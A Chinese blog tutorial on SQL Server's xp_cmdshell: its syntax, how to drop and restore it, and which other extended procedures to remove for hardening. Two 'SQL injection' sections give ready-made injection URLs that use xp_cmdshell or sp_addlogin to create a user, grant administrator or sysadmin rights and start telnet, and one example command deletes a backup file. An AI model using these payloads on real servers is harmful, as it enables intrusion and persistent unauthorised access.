• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

简单介绍SqlServer删除xp_cmdshell和恢复xp_cmdshell

sqlserver 海叔叔 1个月前 (05-30) 10次浏览 已收录 0个评论

关键词
删除xp_cmdshell和恢复xp_cmdshell

xp_cmdshell是SQL Server中一个系统自带的存储过程。但是它功能强大,一旦被黑客掌握,破坏性极强!所以作为数据库管理员,一定要重视这个存储过程!本文介绍如何删除xp_cmdshell,并且在删除之后如何恢复xp_cmdshell。本文的最后还简单演示了一下xp_cmdshell在SQL注入中的重要作用!

【使用xp_cmdshell】
语法
xp_cmdshell {‘command_string’} [, no_output]
‘command_string’
是在操作系统命令行解释器上执行的命令字符串。command_string 的数据类型为 varchar(255) 或 nvarchar(4000),没有默认值。command_string 不能包含一对以上的双引号。如果由 command_string 引用的文件路径或程序名称中有空格,则需要使用一对引号。如果使用嵌入空格不方便,可考虑使用 FAT 8.3 文件名作为解决办法。
no_output
是可选参数,表示执行给定的 command_string,但不向客户端返回任何输出。

示例:调用命令:exec master..xp_cmdshell ‘del E:\H_BACKUP.bak’

【注销xp_cmdshell的方法】
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可以通过下述SQL语句注销
use master
exec sp_dropextendedproc ‘xp_cmdshell’

【恢复xp_cmdshell的方法】
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

【SQL注入方法一】
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录

【SQL注入方法二】
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
2 修改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add
4 这样就可以通过查询分析器,上去使用cmdshell

【引申】
以下存储过程也很危险
xp_fileexist,用来确定一个文件是否存在。
xp_getfiledetails,可以获得文件详细资料。
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。
Xp_getnetname,可以获得服务器名称。

去掉不需要的注册表访问的存储过程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite

如果你不需要请丢弃OLE自动存储过程,这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop


喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址